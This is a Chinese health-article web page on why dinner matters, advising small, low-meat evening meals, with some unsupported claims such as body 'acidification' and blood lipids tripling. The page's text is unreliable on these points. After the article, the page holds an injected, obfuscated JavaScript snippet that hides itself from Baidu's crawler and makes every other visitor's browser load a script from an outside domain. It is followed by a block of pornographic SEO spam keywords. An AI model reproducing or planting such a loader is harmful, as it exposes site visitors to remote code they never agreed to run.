當前位置:首頁 > 飲食 > 食物營養 > 正文

吃晚餐的好處是什么呢

2017-07-11 23:02:47  來源:360常識網   熱度:
導語:一日三餐要按時有規律,這樣才能夠保證自己的身體健康,很多人為了減肥,所以有過午不食這樣的說法,在中午過后,不再進食,晚飯就不再吃什

一日三餐要按時有規律,這樣才能夠保證自己的身體健康,很多人為了減肥,所以有過午不食這樣的說法,在中午過后,不再進食,晚飯就不再吃什么東西了。這樣反而對自己的身體健康不好,吃晚飯,對于我們來說是非常重要的,尤其是正在身體發育的兒童,那么下面就讓我們一起來看一下,吃晚餐的好處是什么呢。

因為太陽下山,人的身體開始變得虛弱,是適宜休息的好時光。在天黑之后,人體各個器官的運作開始減速,逐漸進入一種休息的舒適狀態。所以,晚餐不能吃飽。晚餐吃得太飽,身體緩慢的消化速度就會跟不上大分額食物的工作量,導致食物過多地在體內堆積、酸化。

在中醫上,也有人說晚餐是吃健康的一餐。意思是晚餐吃得巧、吃得妙,根本不會發生許多慢性疾病。體質的酸化、慢性疾病的產生都是從晚餐開始的。由此可見,吃晚餐不能吃太飽,七分飽最為適宜。一般來說,未成年人宜1碗米飯或者1碗粥、面食,1份肉食,兩份蔬菜為宜。健康的成年人,以1碗半到兩碗的米飯量為宜,不宜超過2碗。肉食仍應該堅持1份搭配2-3份的蔬菜。中老年人可以喝1碗粥或者吃1碗面食,不宜吃得過飽。

此外,晚餐不宜過葷。有研究發現,晚餐經常吃葷食的人比素食的人血脂會提高三四倍。因為,夜晚人體不再精力旺盛,對油脂、動物脂肪等的“消滅”激情大減,導致大量脂肪在體內堆積,提高患高血脂、高血壓的概率。患有高血壓、高血脂的中老年人,晚餐吃葷,無疑是火上澆油,使體內膽固醇的含量不斷攀升。

以上就是最好看的好處,晚餐不能吃太飽,因為這樣會影響到自己的睡眠,同時吃太多,進入睡眠之后,腸胃將停止蠕動,這樣容易造成積食的狀況,容易造成便秘,影響了自己的日常新陳代謝,所以經常不吃晚飯的朋友,還希望去養成一個好的習慣。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
91大神在线精品网址| 久久水蜜桃亚洲av无码精品麻豆| 青草久久精品亚洲综合专区| 亚洲精品第五页中文字幕| 久久精品国产久精国产| 亚洲国产一二三精品无码| 精品国产不卡一区二区三区| 亚洲午夜福利精品久久 | 久久99精品国产99久久| 99精品久久精品| 国产三级久久久精品麻豆三级 | 亚洲精品网站在线观看不卡无广告 | 国产精品偷伦视频观看免费 | 中文字幕一精品亚洲无线一区| 国产精品videossex白浆| 一区二区三区久久精品| 国产亚洲精品欧洲在线观看| 国产一精品一aⅴ一免费| 精品在线免费视频| 日批日出水久久亚洲精品tv| 四虎永久在线精品免费影视| 九九久久精品国产AV片国产| 国产国产成人久久精品| 精品亚洲视频在线观看| 亚洲精品无码专区在线在线播放| 自拍偷自拍亚洲精品被多人伦好爽| 中文国产成人精品久久亚洲精品AⅤ无码精品 | 亚洲精品无码国产| 久久777国产线看观看精品| 国产午夜精品久久久久免费视| 国产精品国产亚洲精品看不卡| 久久精品中文字幕不卡一二区 | 四虎国产精品免费久久影院| 国产伦精品一区二区| 亚洲乱码日产精品a级毛片久久| 久久99精品久久久久久噜噜 | 经典国产乱子伦精品视频| 国产精品毛片无遮挡高清| 亚洲精品无码AV中文字幕电影网站| 久久成人国产精品一区二区| 国产亚洲欧洲精品|